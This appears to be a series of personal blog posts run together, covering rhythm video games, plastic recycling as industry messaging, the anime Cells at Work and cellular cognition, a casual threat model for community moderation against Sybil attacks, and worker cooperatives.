VR games (especially Beat Saber) are well known for making you feel cool while playing them, but actually look completely ridiculous to anyone actually watching you. So here is a video of me playing Beat Saber.

Also just so you know, this was like 5 months ago when I was still bad at the game. I don't mean to brag or anything but I'm ranked in the top 100 players in Australia now.

No I'm sorry, that was a total brag. Let me give you another video (from around the same time) as an apology.

Hopefully that also explained to you how the game works. But if you don't have over a decade of experience in playing video games and can't parse everything from two videos, I'll give a brief explanation.

Basically you have two swords of different colours on each hand with which you need to cut the cubes in half with the corresponding colour (so hit the red cube with the red sword). The cube also have an arrow on them, which denotes the direction in which you cut them. A cube with an arrow at the top pointing down means you it vertically from the top to bottom, and a cube with an arrow at the left point right means to cut it horizontally from the left to right. Some cubes have dots in the middle insetad and that just means to can cut them from any direction.

Unlike most rhythm games (as we'll see soon) there is no timing element to the cuts. Instead of getting scored on when you cut the block it's how well you cut the block. For most people this is unimportant unless you are going for rank, but if you must know, it's based on how close your cut is to the center of the block and how much of an angle is made with your saber when it's cut. For more info read this post.

Some people think this is bad and discounts it from being a rhythm game because it doesn't have that timing element, but I disagree. One of the good things about this scoring system is that you can never get a perfect score (on any somewhat complicated map) because getting the max amount of points (115) consistenly on every block requires an amount of accuracy no human has. This means that there is always room to improve.

DJMAX RESPECT V

I actually have recorded gameplay of all the games we will look at, so I'll show it to you first in hopes that it can offset my crappy explanations of video games.

If you're wondering, yes, I have been planning this post so long that I've literally moved apartments before I started writing it.

DJMAX is one of the more standard VSRGs. As you can see it actually scrolls vertically so if you've seen a VSRG before this should be pretty much the same. For this one you just have to press the correct key when the note passes the judgement line and you get scored on how close the note is to the line when you press it. You can also play songs with a different number of keys (4K, 5K, 6K, and 8K) but I mainly play on 6 keys.

This is the first rhythm game I started playing after Beat Saber because I wanted a more normal VSRG experience. Most preople probably play osu!mania because osu! is (I think?) the most played rhythm game in the world, but I don't like osu! from my one experience playing it 5 years ago so I didn't want to install it.

I also looked at Stepmania and Etterna, but settled on Respect V because it looked the prettiest.

DJMAX has been predominantly a console game on PlayStation systems, with Respect V being one of the few titles to come to PC, so the charts are significantly easier due to being able to play on a keyboard instead of controller. They have added a special "SC" difficulty for keyboard players which has become the new highest difficulty, but I'm not very good so I've yet to complete one.

One of the best features of this game is that every (not actually every, but we'll get to that) song is key-sounded⁽³⁾. This means that the actual sounds of the song play when you hit the notes, so if you miss a note or hit the wrong key, the song won't sound as it should. Most games just have a generic sound that plays over the song when you hit the notes, but having the actual notes of the song play adds a lot to the experience.

Unfortunately, to do this the developers need to have the actual layers that make up the song so they can seperate them and bind it to the keys at the correct time. This isn't always possible to get due to licensing agreements, so while all of the songs in the base game are key-sounded, not all DLC songs (like in the video) are.

Obviously this isn't the fault of the game, so I can't really blame them but it is a big shame.

Muse Dash

This is a game I saw in my Youtube home page being played by a VTuber. I don't really know what a VTuber or Hololive is but apparently they've gotten banned from streaming this game because the publisher is Chinese and one them acknoledged Taiwan as an independant country(?) I don't really know the specifics because I don't actually care, so don't I even know why I'm talking about it right now.

Anyway I thought the game looked fun so I bought it.

The gist of this game is that there are two lanes and you press a key when something goes next to that circle. It's pretty simple. I found out after recording that video is that there are actually two buttons you can use when hitting a lane, which makes mashing way easier if you just alternate between the two.

One thing I don't like is how hard it is for me to read what's going on, the notes take form as many different things and sometimes that makes me just stop paying attention. Another thing is that I've seen the help text on the loading screen say things like "How old are the girls? You're asking too many questions!", which is… a weird thing to say. I haven't looked much into the fanbase of this game, and at this point I don't think I'll like what I'd see.

Quaver

Quaver is another standard VSRG and is the only one on this list that has a proper replay system, which means I didn't have to spend several tries at recording a semi-decent attempt at a chart that doesn't make me seem completely crap at these games.

I believe it's actually supposed to be a clone of osu!mania so it only has 4K and 7K modes. While it's not as pretty or well polished as DJMAX, it is open-source and free on Steam so that's cool.

Generally, you'd want to play a game like this instead of DJMAX because the community has the ability to map songs for it. For Beat Saber, custom maps require a mod you can't have custom maps at all in DJMAX. This is probably better if you don't actually care about how pretty your game is and just prefer the pure gameplay, but from my experience there is one major issue with this.

People don't know how to make maps so most of them suck.

In DJMAX every song is created by the developers so there is a baseline quality to them, but here there are thousands of people making maps all with varying levels of quality. And in my experience (maybe because I mainly play the easier charts, and those are harder to map for), the quality skews towards the "not good" side.

I haven't found this to be much of an issue with Beat Saber, because the game is just so good that you can find fun in trying to do weirdly mapped charts. There's an entire subcatergory of players who specialise in this skill.

Deemo -Reborn-

This will actually need a bit of an explaination to start. Deemo -Reborn- can be played in both VR and non-VR. It's a standard VSRG like DJMAX and Quaver, but it becomes 4K for VR and 6K for non-VR. I've played both versions so here is the VR gameplay first.

When I first saw that you could play it in VR, I assumed that it was just for looking around and you'd still need the keyboard to press the notes when you actually play. But no! You actually use your VR controllers to try to physically hit the piano when the notes reach the jugement line.

I'd never would have thought that this would work very well, and it doesn't. VR controllers (or the Oculus Touch controllers at least) are not very accurate, which lead to me often hitting the piano when I didn't mean to.

But even with that jank, it's still pretty fun. Not Beat Saber fun. But nothing is going to beat Beat Saber fun. And although it's not anything like playing a piano, it's enjoyable to pretend that somehow smashing your hands against some ethereal board is making music.

The non-VR mode is just normal VSRG.

I don't really have anything more to say about it.

Spin RhythmXD

Last of the games I have played is Spin RhythmXD. This is one of the more interesting games in this list because it's the most like an arcade game. You can play it using an actual MIDI DJ Turntable, but I don't have one of those so I use a mouse and keyboard.

The mouse spins the thing on the bottom with the red and blue rectangles and you need to match those with the dots/lines on the lane. For the dots you don't need to press anything, just make sure they go to the correct colour, but with the bigger notes you need to hit a key on the keyboard with good timing.

There's also those green/line notes that you hit with spacebar, and sections where you flick the mouse left or right to let the thing freely spin. I think there's more stuff in the harder levels, but I'm bad so haven't gotten to them yet.

All this stuff was a bit overwhelming at the start, and took some time to get used to but it's very satisfying to nail a song (or sections of a song if you're me).

My biggest problem (if you can tell by the title of the video) is that I don't like any of the songs the game comes with. I'm just not a fan of very basic house/electronic music.

Others

Update 2024-07-18: HEY IM BACK! I've also discovered that YouTube embeds no longer work and I can't be bothered to fix them. I've converted the embeds to links. Just image there are video embeds where the links are.

All the games I've played are on PC but I found out recently that there's actually an entire world outside my apartment filled with many more interesting arcade games. I'll probably never get to play them because I don't ever leave my room and they also all seem to only be in Japan but boy do they look neat.

chunithm

The first one is CHUNITHM which is a game I found out about after they did a collaboration with DJMAX⁽⁴⁾. I have no idea what is going on, but it looks cool as hell.

bfeg

This is "Brain Fluid Explosion Girl". I like it because the name is funny.

maimai

This one is called "maimai" and it certainly isn't a VSRG, but one of the comments of the video says "all that crazy shit and still the washing machine didn't open…" and that's the funniest thing I've read all of last year.

Also here's a video of a guy doing playing two of these at the same time.

What the fuck.

Drinking plastic.

We consume 21 grams of plastic (the weight of a credit card) a month on average. Tiny microplastics, many invisible to the human eye, have be found in rain, drinking water and oceans worldwide.^[1]

Microplastic fibres are plastic filaments released from acrylics, polyester or nylon fabrics and rinsed out of washing machines by the thousands per article of clothing. These fibres then go into the ocean, which get carried by wind or rain to spread into other regions. Researchers have found microplastics in pristine regions of remote French Pyrenees mountain regions and estimate that France is "blanketed by 2,000 tons of plastic particles" every year.^[2]

These fibres can be so small that they slip through most filters and enter the bloodstreams of organisms that ingest them.

But enough about that, let's talk about propaganda.

The entire recycling movement was initiated by a consortium of industry groups who wanted to divert people's attention away from even more radical legislation to control the amount of waste these companies were putting out.

In the '80s, the industry was at the centre of an environmental backlash. Fearing an outright ban on plastics, manufacturers looked for ways to get ahead of the problem. They looked at recycling as a way to improve the image of their product and started labelling plastics with the now ubiquitous chasing-arrows symbol with a number inside.^[3]

However, only a tiny portion of plastics are actually recycled (less than 10%), basically just the soda bottles and milk jugs. It's not that you can't physically recycle other plastics. It's just that it doesn't usually make sense economically.

Recycling plastics is expensive. It's time-consuming. It's chemically problematic. And it's just cheaper and easier to make plastic out of new oil instead of plastic trash.

Injection molding of plastic can be done only when one third or less of the pellets are recycled. If there is too much recycled material in the mix it doesn't flow into the mold correctly and one third is the most you could possibly use and then that product can not be recycled again. The polymers that make up the plastic simply aren't capable of reforming over and over.

Okay so plastics have a bad reputation for being unfriendly to the environment, but you (a big businessman in the plastics industry) need people to keep buying more so you can keep the profit margins up. You want to keep making plastic, but the more you make, the more plastic trash you get. And the obvious solution to this is to recycle it. But you don't want to because it's too expensive.

Wow, what a predicament. Obviously you just can't use another material, single use plastic is amazing. It's cheap, it's easy to make, and you can't re-use it. If people are able to re-use their stuff, then that means they won't buy as many things from you! No way are you going to let that happen!

Thankfully, there's an obvious solution that us businessmen have been using for decades: lie uhh I mean advertise. We will advertise our way out of this can't-recycle-it problem.

In an interview by NPR reporter Laura Sullivan, Larry Thomas, a lobbiest for the plastics industry said:^[4]

If the public thinks that recycling is working, then they're not going to be as concerned about the environment

Recycling advertisements are paid for by the oil and plastic companies, and have lead to a $50-million-a-year industry-wide ad campaign promoting plastic. According to the interview, the "industry funded recycling projects in local neighbourhoods, expensive sorting machines that didn't make any economic sense, school recycling contests. All of this was done with great fanfare."

Recycling is a scam to get you to buy more plastic.

So what, should you just stop recycling plastic? Eh, it's actually a little complicated.

This may sound strange, but there's actually nothing wrong with not recycling plastic and sending it right to the landfill. It sequesters carbon, isn't too terrible for the environment (it just sits there in the ground), and it's not like we're going to run out of landfill space any time soon. Again, from the interview: "Thomas says we probably have thousands of years of landfill space left in the U.S. And even hardcore environmentalists reluctantly agree that, yeah, we have a lot of space left. But people thought we were running out of space, and that was what mattered."

Plastics recycling have also been improving. In recent years, it has been possible to make PET bottles from 100% recycled plastic which are qualitatively just as good as bottles made from so-called virgin plastic.^[5] None of that changes the disgusting behaviour of how companies have been misleading the public in to believing that plastics were being largely recycled and recyclable for the past fifty years, when in fact they largely were not. But it's something.

So, the solution isn't to not recycle plastic, or only recycle "good" plastic. It's to not buy plastic.

It's why there are two R's before recycling in "Reduce, Reuse, Recycle".

And this just isn't just for plastics but for "things" in general. Shifting the environmental responsibilities from business to the consumer is a global phenomenon.

America's anti litter campaigns like "Keep America Beautiful" is propaganda to rail against bad environmental habits on the part of individuals rather than businesses.

"In essence, Keep America Beautiful managed to shift the entire debate about America's garbage problem. No longer was the focus on regulating production—for instance, requiring can and bottle makers to use refillable containers, which are vastly less profitable. Instead, the “litterbug” became the real villain, and KAB supported fines and jail time for people who carelessly tossed out their trash, despite the fact that, clearly, “littering” is a relatively tiny part of the garbage problem in this country (not to mention the resource damage and pollution that comes with manufacturing ever more junk in the first place). Environmental groups that worked with KAB early on didn't realize what was happening until years later."^[6]

There's a bigger point that could be made here:

Climate change isn't your fault.

Your expensive electric car isn't going to help if the batteries are made in factories that pollute the environment even more.

There have recently been studies coming out about the pandemic driving habits and how traffic and car trips saw huge drops March through May, yet we only saw something like a 5-8% drop in pollution.^[7]

And besides, a global pandemic with tens of millions of people dying and being out of work isn't the best way to de-carbonise our economy. We need systemic changes in our energy infrastructure and new green technologies.

There isn't much you can do as an individual can do to help because you aren't the one causing it. Real change won't come at the consumer level but will have to be driven by improvements in the corporate supply chain. And few businesses will implement more sustainable methods unless there's an economic benefit.

So, if our capitalist overlords are just going to lie and create propaganda rather than even trying to attempt becoming more sustainable, we're going to have to force them to.

Or better yet, just get rid of them ;)

If you're 6 years old and don't know what personification is, it's the "projection of human characteristics onto inanimate objects" mostly used to create imagery. It's mainly used in simple ways like saying that flowers "dance" in the wind, or that rain is "indifferent" to your plans of wanting to commute with your electric skateboard (because apparently you can't ride it in the rain) so now you have to take public transport like some sort of common mule, and during a global pandemic just to top it off!

For my homework, being the dumbass kid I was⁽¹⁾, I took it way to literally and I wrote about spoons and forks being in a world war. There were forks stabbing spoons to death and spoons… not really being able to do anything because I don't know how you'd fight with a spoon, so the spoons most certainly lost. Also I think there was something about microwaves being nukes and dish soap being chemical weapons, but let's ignore the fact that I was a primary schooler writing about forks committing war crimes and move on because I think this intro is getting long enough.

What I did wasn't personification though, it was anthropomorphism, which is the "attribution of human traits, emotions, or intentions to non-human entities"⁽²⁾, so I have no idea why my teacher read a child's story about culinary genocide, accepted this even though it wasn't what she asked for, and then gave the child full marks.

Anyway, Cells at Work (2018) is a good anime and I think you should watch it. I mean, just look at this synopsis.

Inside the human body, roughly 37.2 trillion cells work energetically 24 hours a day and 365 days a year. Fresh out of training, the cheerful and somewhat airheaded Red Blood Cell AE3803 is ready to take on the ever-so-important task of transporting oxygen. As usual, White Blood Cell U-1146 is hard at work patrolling and eliminating foreign bacteria seeking to make the body their new lair. Elsewhere, little platelets are lining up for a new construction project.

Dealing with wounds and allergies, getting lost on the way to the lungs, and bickering with similar cell types, the daily lives of cells are always hectic as they work together to keep the body healthy!

So it's an anime about the cells in your body. What the synopsis doesn't say is that all the cells (and bacteria) are anthropomorphised into cute anime boys/girls which makes it a thousand times better.

So well done Japan, with one simple trick you've made me care about biology - the worst branch of science.

After binging all 13 episodes in the 6 hours of the day it took⁽³⁾, I started to think about things I've never really cared about before. For example, let's look at the aforementioned "White Blood Cell U-1146". He has a sensor that can help detect where the bad bacteria are so he can get rid of them. I've seen videos of white blood cells chasing bacteria under microscopes, so it should be obvious they need some way to detect them.

But like, how? Are they just complicated state machines? I guess you could get away with saying that.

Let's look at the platelets instead. They're what's responsible for healing any abrasions or cuts to your skin.

But like, how? How do they know when there is an abrasion? And how do they know when to stop?

I think the fact that we've mapped so much of the human body already is remarkable. We know a lot about the cells that make us, the proteins that make them, and the DNA that provides assembly instructions for them. But from what I've seen, we don't know much about how they work.

The great progress has been mainly on drilling down to the molecular level, but the higher levels are actually not that well-off. We are still pretty poor at controlling anatomical structure or knowing how to get it back on track in cancer – this is why we don't have a real regenerative medicine yet. We know how to specify individual cell fates from stem cells, but we’re still far from being able to make complex organs on demand. The few situations where we can make them are those in which we've learned to communicate with the cell swarm – providing a simple trigger, such as the bioelectric pattern that says "build an eye here", and then letting the intelligence of the cell group do the hard work and stop when the organ is done.^[1]

The protozoa "Stentor roeseli" (S. roeseli) lives in ponds and other still or slow-moving bodies of fresh water, is a trumpet-shape, unicellular organism large enough to be visible to the naked eye. It spends its time attached to submerged vegetation, feeding on bacteria and other small organisms and occasionally swimming.

In 1902, zoologist Herbert Jennings published a paper in which he described the changing behavior of S. roeseli in response to an unpleasant stimulus—the pipetting of carmine (a red dye made from powdered insect shells) into the creature’s general vicinity. According to the paper, S. roeseli’s first avoidance strategy is to bend away from the irritant. If that doesn’t work, the creature alters the direction in which its cilia beat to drive away the particles. Failing that, S. roeseli contracts its body to escape the assault. And, as a last resort, the creature detaches from the object to which it was adhered and swims away.

The paper was discredited after another paper in 1967 failed to reproduce the findings, but recently has been replicated once again over 100 years after the original 1902 paper.^[2]

Here is an excerpt from the review "Bacterial Microprocessing" from 1990.

To someone trying to understand the brain, the bacterium Escherichia coli must be an awesome beast. Its talents are legion, but its size is miniscule. E. coli is a cylindrical organism less than 1 μm in diameter by 2/μm long--20 would fit end-to-end in a single rod cell of the human retina or some 3000 in that of a frog. Yet, it is adept at counting molecules of specific sugars, amino acids, or dipeptides; at integration of similar or dissimilar sensory inputs over space and time; at comparing counts taken over the recent and the not so recent past; at triggering an all-or-nothing response; at swimming in a viscous medium; and as we shall see, even at pattern formation.

You could argue that cognition can only come from a brain, the electrial networks made of neurons. And I do think there must be a fundamental difference between brained and brainless organisms. But a brain did not come out of nothing and there is little fundamental difference between neurons and other cell types. The brain is the result of selection pressure placed on organisms with the most basic form of information processing.

If you agree that there is some mechanism by which electrically active cells can represent past memories and an anticipated future, there is no reason why non-neural electric networks wouldn't be doing a simplified version of the same thing to accomplish their goals. Neurons evolved from far simpler cell types and some of the brain's tricks were discovered around the time of bacterial biofilms.

It's cognition all the way down.

Earlier in the year, I wrote a post talking about panpsychism. Which to reiterate, is "the idea that all matter (animate or inanimate) is conscious, and we are just a bit more conscious than things like trees."

If you remember, or just read it again, I called this "bullshit" that "goes against our understanding of physics" and talked about how particles don't think. The issue with this is that I was only thinking about a good branch of science when reading about this stuff, instead of the worst branch of science.

The central point about cognitive systems is what they know how to detect, represent as memories, anticipate, decide among and, crucially, attempt to affect. Call this the system's cognitive horizon. One way to categorise and compare cognitive systems, whether artificial or evolved, simple or complex, is by mapping the size and shape of the goals it can support (represent and work toward).

Each agent's mind comprises a kind of shape in a virtual space of possible past and future events. The spatial extent of this shape is determined by how far away the agent can sense and exert actions – does it know, and act to control, events within 1 cm distance, or metres, or miles away? The temporal dimension is set by how far back it can remember, and how far forward it can anticipate – can it work towards things that will happen minutes from now, days from now, or decades from now?

Humans would obviously have a huge cognitive horizon, sometimes working hard for things that will happen long after they are gone, in places far away. It's certainly the biggest of any cognitive system we know of. I mean, can a shitty little virus like SARS-CoV-2 make something as smart as a story about spoon genocide? Yeah, didn't think so.

However, we can visualise the tiny contribution of a single cell to the projects and talents of the billions of humans working to together to create our modern, "functioning society". So, instead of treating human "genius" as a sort of black box made of magical smart-stuff, we can reinterpret it as an expansion of cognition of the cells that make us up.

Cells at Work made this visualistion extremely easy for me because they literally anthropomorphise cells into people with their goals clearly explained, all working together to make sure you don't die⁽⁴⁾. Single cell organisims might not be as complicated as us, but when all their goals are combined into more grandiose ones, it becomes a person doesn't it? Where do the cells stop and the person start?

I still don't think particles have consciousness, but if cognition drills all the way down to cells, I'm more inclined to believe that the distribution of things on the spectrum of "not-conscious" to "conscious" is skewed more towards to the latter than I previously though.

My, isn't learning fun?

So that was short lived.

This isn't technically a "Lockdown Thought" because I've actually been thinking about it for years, but eh. Who cares? Today we're going to go through some ideas for a "perfect" social media site.

First let's get a little into what I want to get out of social media. A little fact about me is that I frequented random hacker forums from my early to late teens, which probably explains a lot about why I have these… certain opinions. I believe that these forums had a huge influence on my development as a person, and if we ignore all the terrible ideas I've been exposed to and internalised as my own⁽¹⁾, the trait they implanted in me that I value the most was curiosity.

To me, the very basic and simplistic definition of a hacker is someone who has a stick, and pokes everything just to see how it reacts. Hacking is more of a mindset that can be applied to anything. All you need to do is look at something and say "how does that work?". I saw a lot of this in the write-ups and discussions of the forums I frequented. You were able to see people's though processes while banging their head against obfuscated code trying to reverse engineer it.

Even after I've stopped being as interested in computer security I still use the tools and frameworks these sick fucks fine gentlemen/gentlewomen taught me to reason about my work.

Okay this is a big digression, but to wrap it up: I value long form discussion as ways to learn new things. This is what I'm looking for in social media, which means I've already cut out the majority of the most popular ones⁽²⁾ and we're mainly left with the discussion board type sites.

The most challenging problem with these places, let's use Reddit as an example, is trying to cultivate quality and on-topic discussions. This usually requires having strict moderation to keep trolls out and removing low quality submissions. This doesn't always work however, most subreddits no matter how well moderated always become filled with low quality submissions as they get larger. I think that (but have no evidence of) this is because most people would be uninformed on a subreddit's topic, so as more people join, the lower the average knowledge of the subreddit becomes.

A similar and smaller site is Hacker News, which is mainly a link aggregator for news in Silicon Valley (but other things of interest can be shared as well). Discussion here is of higher quality⁽³⁾ because the site is more niche and attracts less people, although in recent years it seems to be going the way of Reddit as it grows.

Obviously you'd want your website to grow, but how can you do that without sacrificing the quality of discussions? Lobste.rs makes their site invite only, which according to them "are used as a mechanism for spam-control, to slow registrations to a pace we can acculturate and to encourage users to be nice". This is a good solution in my opinion, your site won't be growing as fast and some people might get turned off by it, but that's clearly a good thing to keep quality discussions, and there are more benefits that we will get to later.

One thing all these sites have in common are the moderators who decide what's what. I don't like having dictator-like moderators. We're relying on the good will and trust of the admins/moderators of each site to keep it afloat. The moderators of each set the rules of whatever they're in charge of and the people have no say! If our rule is to have "high quality discussion", what constitutes as such is incredibly vague and hard to define. This make it ripe for abuse and censorship.

While the moderators on Hacker News seem to be doing a good job, and I don't think I'd be banned just because I don't like Paul Graham all that much, the anarchist in me would prefer to not use something where a few people have total control.

Aether is one such attempt to solve this. It's a peer-to-peer application for self-governing communities with auditable moderation and mod elections. According to the docs, "you can actually disable the mods that you don't approve just for yourself, and those disables count as an impeach vote. If majority of the community agrees, the mod loses mod rights for a while for everyone. That makes it so that Aether communities are places where the content is what the current users of the communities want, not those who were there first by chance."

These are great ideas. I do love me some peer-to-peer architecture and democracy. Putting them in social media seems like a no-brainer. However, there are still some problems. The first is that peer-to-peer (or at least as it's implemented here) is slow, and content can take a very long time to load, but let's assume this will get better and ignore this. I'm not here to talk about software architecture, but about overarching design.

The actual problem is with… I can't believe I'm going to say this… the problem is… democracy ;( In a system like this, identities are very easy to create, which a Sybil attack, where an "attacker subverts the reputation system of a network service by creating a large number of pseudonymous identities and uses them to gain a disproportionately large influence"^[1], makes easy to exploit.

Basically, if an attacker creates multiple accounts they could easily gain the majority voting power. To fix this, you could have a wait period between joining a community and being able to vote. But then you could just make the identities in advance.

Or you make voting eligibility a trailing indicator where it tracks past activity to be considered a "citizen" of that community. But how do you determine what activities count? Submissions and comments? Most people don't actually post anything very often so you might get a situation were only a few people who are not representative of the whole have the power to vote.

Also, both are easily subverted by people who buy and sell accounts. Thanks capitalism.

What we could do is use the invitation tree from lobste.rs. Obviously, it won't completely stop a Sybil attack as, once the attacker gets one account they can invite as many of themselves as they want (assuming we allow it, but I think people should have unlimited invites).

We can add to this a "chain of responsibility", where you are responsible for the behaviour of the people you invite. Let's say you invite some people and your tree looks like this.

beanpup.py (you)
├─ beanpuppy
├─ beanpup_py
├─ beanpupper
│  ├─ lemoncat
│  ├─ LeMansCat (banned)
│  ├─ lemonc.at
├─ beanpuppe.rs
│  ├─ lemon_catto
│  ├─ Gnippots

Since LeMansCat was found to be a bad actor and banned, their ban would go up the chain of responsibility to penalise beanpupper, you, and whoever invited you, decreasing in severity at each step up. The penalty could be just getting your invite ability revoked for a period of time. If multiple people you invited were banned, this would cause an even greater penalty and probably get you banned as well. There would obviously need to be some heuristics to determine what penalty someone would get a whatever level, but this would make people cautious about who they invite, which hopefully helps cultivate a better community.

This still isn't foolproof, heuristics could be difficult to determine and there's still the problem of buying people off⁽⁴⁾, in fact it might make it worse as people are incentivised to buy accounts beneath a person to get them banned, so unless we stay in a society that uses money cough cough, I don't really see how this could work. So let's look at something else.

I've said the I want to avoid having dictator-like moderators because of the potential for censorship. So what if we remove the ability to censor people? Now we can have maximum free speech.

No.

Bad idea. I don't want this to turn into certain green website. "In order to maintain a tolerant society, the society must be intolerant of intolerance."^[2]

And that's actually all I have. I've been thinking about this for years and I got nothing.

But…

I've been going through this entire thing assuming the worst possible thing is easy to do and would happen all the time. In computer security, people will often use threat models where they evaluate and validate the design and task planning for a new or existing service. This involves structured thinking about potential security vulnerabilities that could adversely affect their service.^[3]

Let's make a simple threat model for hacking democracy. We start with our threats and look for a solution to each.

• Threat: A random neckbeard who wants to take over our beautiful democracy with a Sybil attack.

Solution: Invitation tree with a chain of responsibility, the neckbeard will never get invited. And if they do, once swiftly banned, the person who invited them will be unable to do it again.

• Threat: The NSA takes over multiple peoples account to spread capitalist propaganda by buying or hacking them (maybe they have a weak password or something I dunno).

Solution: None, we're screwed. Move to Greenland and hope they don't find us.

Right, so our threats are some neckbeard and the NSA. And we can only defend against one of them. This seems like a lost cause.

But don't worry we're not done, let's take a dive into the mind of the NSA and ask a question: "would doing this be worth it?"

What is the value proposition of taking over this site?

If the site is big enough, we can dictate it's core values and just as those random hacker forums have shaped me, shape the people who use it. Basically: influence, we can influence the people who use it.

So let's say moderator elections are happening in our site with 100 members, there are two candidates and if no interference happens, votes will go 60/40. In order to get the guy with 40 votes to win you need to buy or hack 11 people from the other side. Probably not a big deal for the NSA right? But this is a site with 100 people… who cares about it? Is it really worth the effort? You aren't going to do much with 100 people.

Okay, what if there's a bigger target, 1 million members, same election, votes still go 60/40. Influence over 1 million people would be pretty nice. But now to get the guy elected you need an extra 100,001 members. Bof, that's quite a bit more work. Is it worth putting the resources into this when there are easier things to do (like helping destroy any vaguely communist country before they even start developing proper communism)?

I don't have the answer to this, I'd like to say that it isn't worth and it would require way to much work, but I'm not the NSA, another state actor, or just a group of people who want to mess stuff up.

There is one more threat I've been leaving to last because this one is a biggie.

• Threat: People don't care about the politics of some dumb site and thus, are easily outvoted or manipulated by bad actors through astroturfing or some other means.

Solution: …

Man, I really don't like how easy it is for me to be making these parallels to real life.

For real world politics, you'd try to explain to people why they should care, and how not caring affects the lives of so many other people (although most of the time this doesn't even work). I can't in good conscious do this for our imaginary website. It holds relatively little value in most people's lives, and there are way more important things to care about.

And honestly? I don't think even I'd care about the politics of this site. I just want a place where I can talk to other people about interesting things. I don't want to get into arguments about the best least worst moderator candidate every two posts.

Wait… candidate? This is a representative democracy! Of course it doesn't work! What we need is good ol' anarchist DIRECT DEMOCRACY BABBYYYYYYYYYY. It worked last time, surely it will work again!

Yeah nah. Still doesn't work, a direct democracy isn't going solve people not caring, and would actually require people to care more (as they would have to vote for more things), so a representative democracy might actually be better in this scenario.

So that's it, I guess. I give up. I don't know how to make social media good.

However, I don't like leaving my non-rant posts on a depressing end, so I'm going to go through some of the lesser known social medias that bring some interesting ideas.

Retroshare is mostly considered a communication platform, but I'll count it anyway. It's a peer-to-peer (like Aether) and encrypted platform that's mostly aimed at connecting you with your friends instead of strangers. I don't believe it would work very well if you did actually try to expand your connections to strangers due to how you can't really moderate things on a peer-to-peer network (leading to the Paradox of Tolerance again).

Aether actually gets around this problem by also being on a blockchain (maybe I should have mentioned that earlier) because you can moderate a blockchain as long as every agrees that your chain (with someone being banned, or a submission removed) is cannon.

A lot of people have tried to solve the issue of being unhappy with moderators by just cloning the site and moderating it themselves. These clearly all have the same issue, even if the owner is a better moderator, but I'll leave some here in case you're interested. Lobste.rs is actually one such clone of Hacker News, and is open source so anyone can host their own version, such as the French Journal du hacker. You would also use a Postmill instance to replace Reddit, like Raddle⁽⁵⁾.

Mastodon also probably isn't lesser known to the kind of person who reads my stuff, but I want to pad this post out. Basically it's federated Twitter. You know what federation is right? Oh cool, so I don't have to explain it. Matrix is the other known federated communication tool to replace things like Discord or Slack.

Movim is another decentralised attempt. It's federated like Mastodon and Matrix, but more horizontally branched. Where the others try to do one thing well, Movim does several things from chatrooms, to video, and blogs. The current servers seem to be just named after countries which is cool I think. I've always thought that it would be neat if my city spun up their own servers (of any federated service, not just Movim) for the residents to use. This could maintain some amount of connection to the real world while also providing a genuine service. It would feel more like a road or trash pick up service.

Mobilizon is yet another federated tool for managing events, trying to be a replacement for other sites like meetup.com and the Facebook thing for events (I don't know what it's called). It's made by Framasoft who also make PeerTube which is federated YouTube.

Anyway, that's all for today.

I'm serious, I'm not going to drag this on any more.

Wait what's that? You want to know why Astolfo is in the thumbnail at the top?

Well am I glad you asked!

It's because I got my Astolfo figma this week and I wanted to show you all! Look here he is helping me write!

Il est tres mignon !

And you're correct. That isn't going to change today.

Have you played Dead Cells? It's the only metroidvania I've ever enjoyed (unless you count the first Dark Souls) and is made by a company called "Motion Twin" which is based in… France?! UGH! I hate the French! YUCK!

But let's go onto their website to see if they have any job openings, because you know… uhh… I want tooo… critique their web design? Yeah I think that seems reasonable. I don't actually have any desire to enter the video game industry and making websites is a part of my job. Also, French people can't make websites because websites are rectangles and the only things the French know how to make: baguettes and croissants, are not rectangles. This is a very well known fact to any person with common sense.

Here's the first thing you see when you open their website.

Wait, what is this? What am I reading?

"No boss"?

"Equal pay"?

What? I'm so confused. Are you allowed to do this? Is this a French thing I'm too civilised to understand? This goes against everything capitalism stands for! What the heck?!

Yeah I'm sure you saw this coming. This post isn't about video games, it's actually communist propaganda. So there you go, the three things I think about: video games, anime, and communism.

Anyway, this is called a "worker cooperative" or "worker co-op" for short, which usually refers to a business that is owned and managed by it's workers. I mean, this is literally just communism, if every business was structured like this then we would have communism⁽²⁾. What I'm a little surprised about is that you can actually do this under our modern capitalist society. I've been reading anarchist theory since I was 16 and not once did I realise this was a thing (or maybe I wasn't paying attention).

For some reason, I guess I've just been assuming that there was something stopping people from making worker co-ops in modern times unlike in the past which is why I never saw them. It's a little disappointing that I'm only hearing about this now (and the first one I found is French :/), but in the US there are only 465 verified worker co-ops^[1] so they don't seem to be very widespread.

But back to the topic. Normally to adjust to traditional consumer cooperative law, each member would have an equal share in the cooperative, but there also seems to be things called "multi-stakeholder cooperatives" which are cooperatives that has more than one class of members. For instance, the British Ecological Land Cooperative, has three types of membership with each sharing a proportion of voting rights:

• Investor Members have invested money in the cooperative, share 25% of voting rights and receive returns on their investment.

• Worker Members are those people that work for the cooperative. Like Investor Members, they also share 25% of voting rights. Worker Members are employees and volunteers that work at least 15 days each year.

• Steward Members are ecological land managers and share the remaining 50% of voting rights.

But I'm an anarchist and I don't like "classes"⁽³⁾ so I'm going to ignore this and pretend it doesn't exist.

Every worker co-op I've looked at seems to all be structured in a variety of ways, and there doesn't seem to be any real standard. CICOPA, the International Organisation of Industrial, Artisanal and Service Producers’ Cooperatives, gives an 8-page definition in their World Declaration on Workers' Cooperatives, which was approved by the International Co-operative Alliance General Assembly in September 2005. They give us a section on the basic characteristics of workers' cooperatives:

• They have the objective of creating and maintaining sustainable jobs and generating wealth, to improve the quality of life of the worker-members, dignify human work, allow workers’ democratic self-management and promote community and local development.
• The free and voluntary membership of their members, in order to contribute with their personal work and economic resources, is conditioned by the existence of workplaces.
• As a general rule, work shall be carried out by the members. This implies that the majority of the workers in a given worker cooperative enterprise are members and vice versa.
• The worker-members’ relation with their cooperative shall be considered as different from that of conventional wage-based labor and to that of autonomous individual work.
• Their internal regulation is formally defined by regimes that are democratically agreed upon and accepted by the worker-members.
• They shall be autonomous and independent, before the State and third parties, in their labor relations and management, and in the usage and management of the means of production.

Okay, that's neat and all, but that doesn't really explain how it's supposed to work.

So I'm gonna make up a structure myself as a fun exercise, because thinking about communism is fun. Most cooperatives are pretty small (Motion Twin is only 6 people) so it's going to be interesting to see how this could be scaled up to an "Apple-like" company. Let's start with the stuff you should have already gotten from reading the start of this post.

